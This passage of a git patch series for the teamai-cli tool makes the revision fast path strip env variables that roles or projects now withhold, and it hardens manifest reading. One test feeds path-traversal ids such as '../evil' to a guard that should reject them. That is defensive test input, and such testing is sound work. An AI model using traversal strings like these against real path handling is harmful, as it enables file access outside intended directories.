mentioned once during a pull and never again. An `mcp.yaml` that does not parse is reported as `Team MCP servers can be read` rather than read as a team shipping no MCP at all. `Env variables injected in shell profile` stops at the marker comment no longer: it checks that `env/env.yaml` parses and declares its variables under `variables:` (an explicit `variables: []` is an empty configuration and fails nothing), that each reached `env.sh` with the declared value — read back through the generator's own inverse, so a multiline value quoted across several lines is matched rather than reported stale — and that the injected block would actually load it. The two expensive registries, rules and agents, are built for `teamai doctor` only, so the checks at the end of a pull keep their budget (for [#624](https://github.com/Tencent/teamai-cli/issues/624)). - A manual `teamai pull` ends by running the `teamai doctor` checks and printing each one that failed, with its fix. It prints nothing when they all pass, the exit code is unchanged, and the SessionStart hook path (`--silent`) and `--dry-run` run no checks, so session startup is untouched. Provider authentication checks are left to `teamai doctor`: the pull just used the provider. So is any check that pull already reported in its own words on that run — the queued-learnings warning is not immediately repeated as a check telling you to run the pull you just ran. A check the pull stayed silent about is still printed (for [#598](https://github.com/Tencent/teamai-cli/issues/598)). diff --git a/docs/usage-guide.md b/docs/usage-guide.md index 4819c287d..f4ddb1bbc 100644 --- a/docs/usage-guide.md +++ b/docs/usage-guide.md @@ -759,7 +759,7 @@ variables: roles: [devops] # optional; default is every member ``` -`roles` and `projects` follow the same rule as on MCP servers and hooks: omitted reaches everyone, `[]` reaches nobody among members who use that axis, an axis the member has not configured filters nothing, and the two compose as **AND**. A variable that no longer matches is removed from `env.sh` on the next pull, so changing role or running `teamai projects set` takes it out of the member's shell. Until that pull runs, `teamai doctor` reports a withheld variable that `env.sh` still exports, so the previous project's secrets are not left live in silence. `teamai env add` on an existing key keeps whatever `roles:`/`projects:` it already carries. +`roles` and `projects` follow the same rule as on MCP servers and hooks: omitted reaches everyone, `[]` reaches nobody among members who use that axis, an axis the member has not configured filters nothing, and the two compose as **AND**. A variable that no longer matches is removed from `env.sh` on the next pull, even one that reports `Already synced` because the team repo has not moved, so changing role, running `teamai projects set` or upgrading the CLI takes it out of the member's shell without `--force`. Until that pull runs, `teamai doctor` reports a withheld variable that `env.sh` still exports, so the previous project's secrets are not left live in silence. `teamai env add` on an existing key keeps whatever `roles:`/`projects:` it already carries. `pull` reports what reached this member, naming the declared total when the two differ (`Synced 1 of 3 env variable(s)`), so a variable that was scoped away is distinguishable from one that was lost. diff --git a/docs/usage-guide.zh-CN.md b/docs/usage-guide.zh-CN.md index 1ad4e8249..1deff1aea 100644 --- a/docs/usage-guide.zh-CN.md +++ b/docs/usage-guide.zh-CN.md @@ -732,7 +732,7 @@ variables: roles: [devops] # 可选；默认所有成员 ``` -`roles` 与 `projects` 的规则与 MCP server、hooks 完全一致：省略时对所有人生效，`[]` 对使用了该维度的成员都不生效，成员未配置的那个维度不产生过滤，两者以 **AND** 组合。不再匹配的变量会在下一次 pull 时从 `env.sh` 中移除，因此切换角色或执行 `teamai projects set` 会把它从成员的 shell 中撤掉。在那次 pull 之前，`teamai doctor` 会报告 `env.sh` 中仍在导出、但已不再下发的变量，前一个项目的密钥不会悄无声息地继续生效。对已存在的 key 执行 `teamai env add` 会保留它原有的 `roles:`/`projects:`。 +`roles` 与 `projects` 的规则与 MCP server、hooks 完全一致：省略时对所有人生效，`[]` 对使用了该维度的成员都不生效，成员未配置的那个维度不产生过滤，两者以 **AND** 组合。不再匹配的变量会在下一次 pull 时从 `env.sh` 中移除，即使这次 pull 因团队仓库未变化而提示 `Already synced` 也一样，因此切换角色、执行 `teamai projects set` 或升级 CLI 都会把它从成员的 shell 中撤掉，无需 `--force`。在那次 pull 之前，`teamai doctor` 会报告 `env.sh` 中仍在导出、但已不再下发的变量，前一个项目的密钥不会悄无声息地继续生效。对已存在的 key 执行 `teamai env add` 会保留它原有的 `roles:`/`projects:`。 `pull` 报告的是实际送达该成员的数量，与声明总数不同时会同时给出总数（`Synced 1 of 3 env variable(s)`），以便区分"被维度过滤掉"和"丢失"。 diff --git a/src/__tests__/doctor.test.ts b/src/__tests__/doctor.test.ts index b93c4f0e4..a93e05cfc 100644 --- a/src/__tests__/doctor.test.ts +++ b/src/__tests__/doctor.test.ts @@ -12,6 +12,8 @@ vi.mock('../config.js', () => ({ vi.mock('../utils/fs.js', () => ({ pathExists: vi.fn(), readFileSafe: vi.fn(), + // Manifest loaders read through this one; no manifest exists on this machine. + readFileIfExists: vi.fn().mockResolvedValue(null), // The delivery checks walk the team repo through resolveDesiredSkills, // resolveDesiredRules, resolveDesiredAgents and DocsHandler. This machine // has none of those; delivery on a real disk is covered by diff --git a/src/__tests__/e2e/project-scoped-delivery.test.ts b/src/__tests__/e2e/project-scoped-delivery.test.ts index aa3524f0b..9b0ab41f9 100644 --- a/src/__tests__/e2e/project-scoped-delivery.test.ts +++ b/src/__tests__/e2e/project-scoped-delivery.test.ts @@ -251,6 +251,19 @@ describe('project-scoped hooks, MCP servers and env variables via the real CLI ( expect(claudeSettings).toContain('echo shared'); expect(claudeSettings).not.toContain('echo billing'); + // ── Upgrade path: repo unchanged, CLI newer ──────────────────────────── + // A CLI that ignored `roles:`/`projects:` on env left DEVOPS_ONLY in + // env.sh, and the recorded revision still matches HEAD. A plain pull takes + // the "Already synced" fast path and must still rewrite env.sh from the + // filtered set, or the withheld secret stays exported until --force. + fs.appendFileSync(envShPath(), "export DEVOPS_ONLY='devops-secret'\n"); + const pullUnchanged = await runCLI(['pull'], projectRoot, home); + expect(pullUnchanged.code, pullUnchanged.output).toBe(0); + expect(pullUnchanged.output).toContain('Already synced'); + const envUnchanged = readEnvSh(); + expect(envUnchanged).toContain('CHECKOUT_URL'); + expect(envUnchanged).not.toContain('DEVOPS_ONLY'); + // ── Rebind to billing: what checkout delivered must be REMOVED ───────── const setBilling = await runCLI(['projects', 'set', 'billing'], projectRoot, home); expect(setBilling.code, setBilling.output).toBe(0); diff --git a/src/__tests__/env-handler.test.ts b/src/__tests__/env-handler.test.ts index 76d0820d9..be1676e8a 100644 --- a/src/__tests__/env-handler.test.ts +++ b/src/__tests__/env-handler.test.ts @@ -517,6 +517,27 @@ scope: 'user', // sticking to wherever the block already lives, the next pull would // prefer that newly-existing .bash_profile and inject a second, separate // block there instead of updating the one already in .bashrc. + // Root writes a read-only file, and Windows has no POSIX mode bits. + const cannotRevokeWrite = process.platform === 'win32' || process.getuid?.() === 0; + it.skipIf(cannotRevokeWrite)('leaves an unchanged shell profile alone on a repeat pull', async () => { + // pullItem runs on every pull, including the revision fast path a + // SessionStart hook takes each session. A profile that already carries + // the block must not be rewritten: made read-only here, so a write would + // throw rather than merely bump a timestamp. + const bashrcPath = path.join(homeDir, '.bashrc'); + await handler.pullItem(item, teamConfig, localConfig); + const first = await fse.readFile(bashrcPath, 'utf-8'); + expect(first).toContain(TEAMAI_ENV_START); + + await fse.chmod(bashrcPath, 0o444); + try { + await expect(handler.pullItem(item, teamConfig, localConfig)).resolves.toBeUndefined(); + } finally { + await fse.chmod(bashrcPath, 0o644); + } + expect(await fse.readFile(bashrcPath, 'utf-8')).toBe(first); + }); + it('keeps updating .bashrc in place after Git for Windows auto-generates a forwarding .bash_profile', async () => { vi.stubEnv('SHELL', ''); vi.spyOn(process, 'platform', 'get').mockReturnValue('win32'); diff --git a/src/__tests__/projects.test.ts b/src/__tests__/projects.test.ts index 5cab49ad2..474b40f6f 100644 --- a/src/__tests__/projects.test.ts +++ b/src/__tests__/projects.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest'; -import { mkdtempSync, writeFileSync, rmSync, mkdirSync } from 'node:fs'; +import { mkdtempSync, writeFileSync, rmSync, mkdirSync, chmodSync } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { @@ -113,6 +113,20 @@ projects: } }); + // Root reads a mode-000 file, and Windows has no POSIX mode bits. + const cannotRevokeRead = process.platform === 'win32' || process.getuid?.() === 0; + it.skipIf(cannotRevokeRead)('throws when the manifest exists but cannot be read, rather than reporting no projects', async () => { + const repoDir = writeManifest('version: 1\nprojects:\n - id: checkout\n resources: { skills: [checkout] }\n'); + const manifestPath = path.join(repoDir, 'manifest', 'projects.yaml'); + chmodSync(manifestPath, 0o000); + try { + await expect(loadProjectsManifest(repoDir)).rejects.toThrow(/EACCES|permission denied/i); + } finally { + chmodSync(manifestPath, 0o644); + rmSync(repoDir, { recursive: true, force: true }); + } + }); + it('rejects a project id that is not a safe path segment (traversal guard)', async () => { for (const badId of ['../evil', 'a/b', '..', 'x\\y']) { const repoDir = writeManifest(` diff --git a/src/__tests__/pull-skip-sync.test.ts b/src/__tests__/pull-skip-sync.test.ts index 8b7b2c656..e381cac80 100644 --- a/src/__tests__/pull-skip-sync.test.ts +++ b/src/__tests__/pull-skip-sync.test.ts @@ -179,6 +179,42 @@ describe('pull skip-sync when repo HEAD unchanged', () => { expect(saveStateForScope).not.toHaveBeenCalled(); }); + it('re-delivers env on the revision fast path so a variable scoped away by an upgrade leaves env.sh', async () => { + // The machine pulled with a CLI that ignored `roles:` on env variables, so + // env.sh holds every declared variable and lastPullRev matches HEAD. The + // repo has not moved; only the CLI has. Hooks and MCP reconcile outside the + // fast path already; env must not be the one axis a plain `teamai pull` + // leaves stale until --force. + await fse.ensureDir(path.join(repoPath, 'env')); + await fse.writeFile(path.join(repoPath, 'env', 'env.yaml'), [ + 'variables:', + ' - key: SHARED_URL', + ' value: https://shared.example', + ' - key: DEVOPS_ONLY', + ' value: devops-secret', + ' roles: [devops]', + '', + ].join('\n')); + const envShPath = path.join(homeDir, '.teamai', 'env.sh'); + await fse.ensureDir(path.dirname(envShPath)); + await fse.writeFile(envShPath, "export SHARED_URL='https://shared.example'\nexport DEVOPS_ONLY='devops-secret'\n"); + + vi.mocked(getHeadRev).mockResolvedValue('abc1234'); + vi.mocked(loadStateForScope).mockResolvedValue(emptyState({ + lastPullRev: 'abc1234', + lastPullTargets: ['claude'], + })); + + await pull({}); + + expect(log.success).toHaveBeenCalledWith(expect.stringContaining('Already synced at abc1234, skipping')); + const envSh = await fse.readFile(envShPath, 'utf8'); + expect(envSh).toContain("export SHARED_URL='https://shared.example'"); + expect(envSh).not.toContain('DEVOPS_ONLY'); + // Still the fast path: the revision cache is not rewritten. + expect(saveStateForScope).not.toHaveBeenCalled(); + }); + it('stops before the revision fast path when role-scoped resources cannot be resolved', async () => { await fse.remove(path.join(repoPath, 'skills', 'common')); await fse.writeFile(path.join(repoPath, 'skills', 'common'), 'not a directory\n'); diff --git a/src/__tests__/roles.test.ts b/src/__tests__/roles.test.ts index a5e83a0dc..f6b33a2c6 100644 --- a/src/__tests__/roles.test.ts +++ b/src/__tests__/roles.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest'; -import { mkdtempSync, writeFileSync, rmSync, mkdirSync, readFileSync, existsSync } from 'node:fs'; +import { mkdtempSync, writeFileSync, rmSync, mkdirSync, readFileSync, existsSync, chmodSync } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import YAML from 'yaml'; @@ -10,6 +10,7 @@ import { saveRolesManifest, resolveRoleResourceNamespaces, activeRoleIds, + loadRolesManifestIfPresent, } from '../roles.js'; import type { RolesManifest } from '../roles.js'; @@ -141,6 +142,33 @@ roles: }); }); +describe('loadRolesManifestIfPresent', () => { + it('returns null when the manifest is absent', async () => { + const repoDir = mkdtempSync(path.join(os.tmpdir(), 'teamai-noroles-')); + try { + expect(await loadRolesManifestIfPresent(repoDir)).toBeNull(); + } finally { + rmSync(repoDir, { recursive: true, force: true }); + } + }); + + // Root reads a mode-000 file, and Windows has no POSIX mode bits. + const cannotRevokeRead = process.platform === 'win32' || process.getuid?.() === 0; + it.skipIf(cannotRevokeRead)('throws when the manifest exists but cannot be read, rather than reporting no roles', async () => { + const repoDir = mkdtempSync(path.join(os.tmpdir(), 'teamai-roles-eacces-')); + const manifestPath = path.join(repoDir, 'manifest', 'roles.yaml'); + mkdirSync(path.dirname(manifestPath), { recursive: true }); + writeFileSync(manifestPath, 'version: 1\nroles:\n - id: hai\n resources: { knowledge: [], skills: [] }\n', 'utf-8'); + chmodSync(manifestPath, 0o000); + try { + await expect(loadRolesManifestIfPresent(repoDir)).rejects.toThrow(/EACCES|permission denied/i); + } finally { + chmodSync(manifestPath, 0o644); + rmSync(repoDir, { recursive: true, force: true }); + } + }); +}); + describe('resolveRoleResourceNamespaces', () => { const manifest = { version: 1, diff --git a/src/projects.ts b/src/projects.ts index 2117486f1..4f78f9fe9 100644 --- a/src/projects.ts +++ b/src/projects.ts @@ -1,7 +1,7 @@ import path from 'node:path'; import YAML from 'yaml'; import { z } from 'zod'; -import { readFileSafe, ensureDir, writeFile } from './utils/fs.js'; +import { readFileIfExists, ensureDir, writeFile } from './utils/fs.js'; import type { ResourceNamespaces } from './roles.js'; /** @@ -99,11 +99,13 @@ function validateManifestShape(raw: unknown): ProjectsManifest { * Load the projects manifest. Returns `null` when the file is absent — projects * are optional (a team without partitioning has no projects.yaml), so every * project code path short-circuits on `null` and behaves exactly as before. + * A file that exists but cannot be read or parsed throws, so a caller never + * mistakes a broken manifest for a team without one. */ export async function loadProjectsManifest(repoPath: string): Promise { const manifestPath = path.join(repoPath, 'manifest', 'projects.yaml'); - const content = await readFileSafe(manifestPath); - if (!content) { + const content = await readFileIfExists(manifestPath); + if (content === null) { return null; } diff --git a/src/pull.ts b/src/pull.ts index 0f00c2209..4d983e43e 100644 --- a/src/pull.ts +++ b/src/pull.ts @@ -673,17 +673,23 @@ async function cleanupTombstonedResources( * from the original pull() function to support both user and project scope. */ /** - * Report the one shape that makes an env count of 0 a mistake rather than an - * empty file: no top-level `variables:` key, which zod accepts without a word. - * The env resource is skipped the moment its count reads 0, so this is the only - * place the check can run (#662). + * Env on the "Already synced" fast path: deliver what env.yaml scopes to this + * directory, and report the one shape that makes an env count of 0 a mistake + * rather than an empty file (no top-level `variables:` key, which zod accepts + * without a word, #662). * - * Called from both the full sync and the "Already synced" fast path. A machine - * that recorded `lastPullRev` before the file was mangled keeps that rev and - * takes the fast path on every later pull, so the Step 2 call site alone would - * never reach it — the misconfiguration would stay invisible. + * Hooks and MCP are reconciled outside `pullForScope`, so the fast path never + * hides a scoping change from them. Env is delivered inside the loop, and the + * loop is exactly what the fast path skips. Two things reach a machine with an + * unchanged `lastPullRev` only through here: a CLI upgrade that starts + * honouring `roles:`/`projects:` on env variables (the repo did not move, so + * without this a variable scoped away stays exported until `--force`), and a + * mangled env.yaml on a machine that recorded its rev before the mangling. + * + * Quiet by design: this runs on every session start. `pullItem` rewrites + * `env.sh` from the filtered set and leaves an unchanged shell profile alone. */ -async function warnIfEnvYamlShapeIsWrong( +async function reconcileEnvForUnchangedRepo( freshConfig: TeamaiConfig, localConfig: LocalConfig, ): Promise { @@ -692,12 +698,15 @@ async function warnIfEnvYamlShapeIsWrong( const envItems = await envHandler.scanTeamForPull(freshConfig, localConfig); if (envItems.length === 0) return; const varCount = await envHandler.countEnvVars(envItems[0].sourcePath); - if (varCount !== 0) return; - const shapeProblem = await envHandler.describeEnvYamlShapeProblemAt(envItems[0].sourcePath); - if (shapeProblem) log.warn(shapeProblem); + if (varCount === 0) { + const shapeProblem = await envHandler.describeEnvYamlShapeProblemAt(envItems[0].sourcePath); + if (shapeProblem) log.warn(shapeProblem); + return; + } + await envHandler.pullItem(envItems[0], freshConfig, localConfig); } catch (e) { - // Never let a diagnostic take down the pull it is diagnosing. - log.debug(`env.yaml shape check skipped: ${(e as Error).message}`); + // Never let this take down the pull it is running beside. + log.debug(`env reconcile on unchanged repo skipped: ${(e as Error).message}`); } } @@ -981,10 +990,11 @@ async function pullForScope( // CLI keeps the copies that CLI failed to delete, and its stored rev // never moves again. Re-run the cleanup so the upgrade reaches it (#576). await cleanupTombstonedResources(freshConfig, localConfig, scopeLabel); - // A repo that has not moved can still carry a malformed env.yaml, and - // the Step 2 check below is unreachable from this branch. + // A repo that has not moved can still carry a malformed env.yaml, or + // scope a variable this CLI version now withholds; the Step 2 env + // branch below is unreachable from here. if (resourceTypes.includes('env')) { - await warnIfEnvYamlShapeIsWrong(freshConfig, localConfig); + await reconcileEnvForUnchangedRepo(freshConfig, localConfig); } // The knowledge branch has its own history: a teammate's contribution // moves teamai-learnings without touching main, so main's revision is diff --git a/src/resources/env.ts b/src/resources/env.ts index 7028ad43b..42b0f5537 100644 --- a/src/resources/env.ts +++ b/src/resources/env.ts @@ -462,7 +462,8 @@ export class EnvHandler extends ResourceHandler { * Inject the shell block into the profile file (idempotent). */ private async injectShellProfile(profilePath: string, block: string): Promise { - let content = await readFileSafe(profilePath) ?? ''; + const original = await readFileSafe(profilePath) ?? ''; + let content = original; const startIdx = content.indexOf(TEAMAI_ENV_START); const endIdx = content.indexOf(TEAMAI_ENV_END); @@ -480,6 +481,10 @@ export class EnvHandler extends ResourceHandler { content += '\n' + block + '\n'; } + // Skip the write when nothing changed: this runs on every pull, including + // the revision fast path a SessionStart hook takes each session, and the + // member's shell profile should not churn for it. + if (content === original) return; await writeFile(profilePath, content); } diff --git a/src/roles.ts b/src/roles.ts index 68bc0329a..143a7ab9d 100644 --- a/src/roles.ts +++ b/src/roles.ts @@ -1,7 +1,7 @@ import path from 'node:path'; import YAML from 'yaml'; import { z } from 'zod'; -import { readFileSafe, ensureDir, writeFile } from './utils/fs.js'; +import { readFileSafe, readFileIfExists, ensureDir, writeFile } from './utils/fs.js'; const ROLE_RESOURCE_TYPES = ['knowledge', 'skills', 'agents'] as const; @@ -118,7 +118,9 @@ export async function loadRolesManifest(repoPath: string): Promise { const manifestPath = path.join(repoPath, 'manifest', 'roles.yaml'); - if (!(await readFileSafe(manifestPath))) return null; + // readFileIfExists, not readFileSafe: a manifest that exists but cannot be + // read is a failure to report, not a team without roles. + if ((await readFileIfExists(manifestPath)) === null) return null; return loadRolesManifest(repoPath); } diff --git a/src/utils/fs.ts b/src/utils/fs.ts index 8367be520..1f6ee5652 100644 --- a/src/utils/fs.ts +++ b/src/utils/fs.ts @@ -44,6 +44,21 @@ export async function readFileSafe(filePath: string): Promise { } } +/** + * Read a file that is allowed to be absent. `null` means the file does not + * exist; any other failure (permissions, I/O) is thrown, unlike `readFileSafe`, + * which folds every error into `null`. Use this where a caller must tell + * "the team has no such file" apart from "the file could not be read". + */ +export async function readFileIfExists(filePath: string): Promise { + try { + return await fse.readFile(expandHome(filePath), 'utf-8'); + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') return null; + throw error; + } +} + /** * Write a file, creating parent dirs as needed. */ From 9a7b1471f56b73c0cf7929184d7f3cf15ce82eca Mon Sep 17 00:00:00 2001 From: Saul Moro Date: Tue, 22 Sep 2026 12:20:54 +0200 Subject: [PATCH 12/12] fix(pull): report a failed env refresh on the revision fast path The fast-path env delivery caught every failure and logged it at debug level, after "Already synced" had already printed. That delivery is what REMOVES a variable the member is no longer scoped to, so a write that fails left the withheld variable exported with nothing on screen to say so. The catch now warns, naming the env.sh that may still be stale and the way out (`teamai pull --force`, then a new shell). Still not rethrown: the pull it runs beside has already succeeded, and taking that down would trade one silent failure for a louder one. `teamai doctor` reports the same leftover on its own. The test makes env.sh a directory so the write throws on every platform and as root, unlike a permission bit, and asserts the warning carries the path and the command. --- CHANGELOG.md | 2 +- src/__tests__/pull-skip-sync.test.ts | 32 ++++++++++++++++++++++++++++ src/pull.ts | 17 ++++++++++++--- 3 files changed, 47 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4ed03095c..ea4325960 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,7 +6,7 @@ All notable changes to this project will be documented in this file. See [standa ### ✨ Features -- Hooks, MCP servers and env variables can be scoped by logical project, the second membership axis they lacked. A `hooks/hooks.yaml` hook and an `mcp/mcp.yaml` server accept an optional `projects:` list beside `roles:`, and an `env/env.yaml` variable accepts both. An entry reaches a member when one of the projects its directory is bound to (`teamai projects set`) is listed; `projects: []` reaches nobody, and a directory bound to no project keeps receiving every entry, so nothing changes until a maintainer adds the key. The two axes compose as AND, the way `tools:` and `roles:` already do, so `roles: [frontend] projects: [checkout]` reaches frontend members of checkout rather than everyone on either. Rebinding with `teamai projects set` removes the previous project's entries on the next pull — for env that means the variable leaves `env.sh`, also on a pull that finds the team repo unchanged, so a machine upgrading from a CLI that ignored the keys drops a withheld variable without `--force`; `teamai doctor` applies the same filter, so a variable correctly withheld is not reported as undelivered, while one that `env.sh` still exports after a rebind is reported until the next pull rewrites the file. An id that `manifest/projects.yaml` does not define produces one warning per pull, and so does a `projects:` key in a team with no projects manifest: the key still filters against the ids in the directory's `config.yaml`, but nothing can validate them. `teamai mcp list`, `teamai hooks list` and `teamai env list` show the restriction, and `pull` reports `Synced 1 of 3 env variable(s)` when scoping withheld some. This is what the keys exist to control: a team with five projects and three MCP servers each gave every member of a role fifteen server processes and fifteen tool lists in the context of every session (for [#668](https://github.com/Tencent/teamai-cli/issues/668)). +- Hooks, MCP servers and env variables can be scoped by logical project, the second membership axis they lacked. A `hooks/hooks.yaml` hook and an `mcp/mcp.yaml` server accept an optional `projects:` list beside `roles:`, and an `env/env.yaml` variable accepts both. An entry reaches a member when one of the projects its directory is bound to (`teamai projects set`) is listed; `projects: []` reaches nobody, and a directory bound to no project keeps receiving every entry, so nothing changes until a maintainer adds the key. The two axes compose as AND, the way `tools:` and `roles:` already do, so `roles: [frontend] projects: [checkout]` reaches frontend members of checkout rather than everyone on either. Rebinding with `teamai projects set` removes the previous project's entries on the next pull — for env that means the variable leaves `env.sh`, also on a pull that finds the team repo unchanged, so a machine upgrading from a CLI that ignored the keys drops a withheld variable without `--force`, and a refresh that cannot be written there is reported with the path and the way out rather than passing silently under `Already synced`; `teamai doctor` applies the same filter, so a variable correctly withheld is not reported as undelivered, while one that `env.sh` still exports after a rebind is reported until the next pull rewrites the file. An id that `manifest/projects.yaml` does not define produces one warning per pull, and so does a `projects:` key in a team with no projects manifest: the key still filters against the ids in the directory's `config.yaml`, but nothing can validate them. `teamai mcp list`, `teamai hooks list` and `teamai env list` show the restriction, and `pull` reports `Synced 1 of 3 env variable(s)` when scoping withheld some. This is what the keys exist to control: a team with five projects and three MCP servers each gave every member of a role fifteen server processes and fifteen tool lists in the context of every session (for [#668](https://github.com/Tencent/teamai-cli/issues/668)). - `teamai doctor` now checks what landed for every resource, not only skills and docs. `Rules delivered to ` and `Agents delivered to ` ask the resource handler where an item lands — a rule's filename and content change per tool, an agent's destination comes from its render and its `targets:` — and compare a delivered rule with the bytes the handler renders for that tool, so a `.mdc` whose `globs` drifted from the team rule's `paths:` is reported rather than passing on the presence of its frontmatter keys. An agent is compared with the bytes its render produces, so a copy left behind by an older spec is reported rather than counted as delivered. `Every team agent reaches a tool` names an agent that renders for no installed tool, and is reported whenever a tool is installed to receive agents, including when no agent renders anywhere. Two tools do not read a rules directory and get a check each: `Team rules are active in opencode` fails when `opencode.json` stops listing the glob that makes the delivered `.md` files load at all, and `Team rules are inlined in Hermes SOUL.md` compares the managed block of `SOUL.md` with what the team rules inline to. `MCP servers delivered to ` compares each server the team resolves for a tool with the entry in that tool's own config — the entry, not the name, since reconciliation leaves an entry teamai does not own alone, so an unrelated server under a team name holds the key while the team's definition never arrives — and names any the reconcile skipped with its reason, so an unresolved `${VAR}` is reported with the variable instead of being mentioned once during a pull and never again. An `mcp.yaml` that does not parse is reported as `Team MCP servers can be read` rather than read as a team shipping no MCP at all. `Env variables injected in shell profile` stops at the marker comment no longer: it checks that `env/env.yaml` parses and declares its variables under `variables:` (an explicit `variables: []` is an empty configuration and fails nothing), that each reached `env.sh` with the declared value — read back through the generator's own inverse, so a multiline value quoted across several lines is matched rather than reported stale — and that the injected block would actually load it. The two expensive registries, rules and agents, are built for `teamai doctor` only, so the checks at the end of a pull keep their budget (for [#624](https://github.com/Tencent/teamai-cli/issues/624)). - A manual `teamai pull` ends by running the `teamai doctor` checks and printing each one that failed, with its fix. It prints nothing when they all pass, the exit code is unchanged, and the SessionStart hook path (`--silent`) and `--dry-run` run no checks, so session startup is untouched. Provider authentication checks are left to `teamai doctor`: the pull just used the provider. So is any check that pull already reported in its own words on that run — the queued-learnings warning is not immediately repeated as a check telling you to run the pull you just ran. A check the pull stayed silent about is still printed (for [#598](https://github.com/Tencent/teamai-cli/issues/598)). diff --git a/src/__tests__/pull-skip-sync.test.ts b/src/__tests__/pull-skip-sync.test.ts index e381cac80..148b98c18 100644 --- a/src/__tests__/pull-skip-sync.test.ts +++ b/src/__tests__/pull-skip-sync.test.ts @@ -215,6 +215,38 @@ describe('pull skip-sync when repo HEAD unchanged', () => { expect(saveStateForScope).not.toHaveBeenCalled(); }); + it('warns when the fast-path env delivery cannot write env.sh', async () => { + // The one failure that must not be silent: this delivery is what REMOVES a + // variable the member is no longer scoped to, and it runs after + // "Already synced" has already printed. A debug-only log would leave the + // withheld variable exported with nothing on screen to say so. + await fse.ensureDir(path.join(repoPath, 'env')); + await fse.writeFile(path.join(repoPath, 'env', 'env.yaml'), [ + 'variables:', + ' - key: SHARED_URL', + ' value: https://shared.example', + '', + ].join('\n')); + const envShPath = path.join(homeDir, '.teamai', 'env.sh'); + // A directory where the file goes: writeFile throws, on every platform and + // as root, unlike a permission bit. + await fse.ensureDir(envShPath); + + vi.mocked(getHeadRev).mockResolvedValue('abc1234'); + vi.mocked(loadStateForScope).mockResolvedValue(emptyState({ + lastPullRev: 'abc1234', + lastPullTargets: ['claude'], + })); + + await pull({}); + + expect(log.success).toHaveBeenCalledWith(expect.stringContaining('Already synced at abc1234, skipping')); + expect(log.warn).toHaveBeenCalledWith(expect.stringContaining('Could not refresh env variables')); + // Names the file that may still be stale, and the way out. + expect(log.warn).toHaveBeenCalledWith(expect.stringContaining(envShPath)); + expect(log.warn).toHaveBeenCalledWith(expect.stringContaining('teamai pull --force')); + }); + it('stops before the revision fast path when role-scoped resources cannot be resolved', async () => { await fse.remove(path.join(repoPath, 'skills', 'common')); await fse.writeFile(path.join(repoPath, 'skills', 'common'), 'not a directory\n'); diff --git a/src/pull.ts b/src/pull.ts index 4d983e43e..0ef3b0763 100644 --- a/src/pull.ts +++ b/src/pull.ts @@ -686,8 +686,9 @@ async function cleanupTombstonedResources( * without this a variable scoped away stays exported until `--force`), and a * mangled env.yaml on a machine that recorded its rev before the mangling. * - * Quiet by design: this runs on every session start. `pullItem` rewrites + * Quiet on success: this runs on every session start. `pullItem` rewrites * `env.sh` from the filtered set and leaves an unchanged shell profile alone. + * A failure is not quiet — see the catch. */ async function reconcileEnvForUnchangedRepo( freshConfig: TeamaiConfig, @@ -705,8 +706,18 @@ async function reconcileEnvForUnchangedRepo( } await envHandler.pullItem(envItems[0], freshConfig, localConfig); } catch (e) { - // Never let this take down the pull it is running beside. - log.debug(`env reconcile on unchanged repo skipped: ${(e as Error).message}`); + // Visible rather than debug-only, and still not rethrown. This is the path + // that REMOVES a variable the member is no longer scoped to, so a failed + // write leaves a withheld variable exported while the only thing on screen + // says "Already synced". The pull it runs beside has already succeeded, so + // the failure is reported where the member can act on it instead of taking + // that pull down with it. + const envShPath = path.join(getDataHome(localConfig), 'env.sh'); + log.warn( + `[${localConfig.scope}] Could not refresh env variables: ${(e as Error).message}. ` + + `${envShPath} may still export variables env.yaml no longer delivers to this directory. ` + + 'Fix the cause, run `teamai pull --force`, then open a new shell.', + ); } }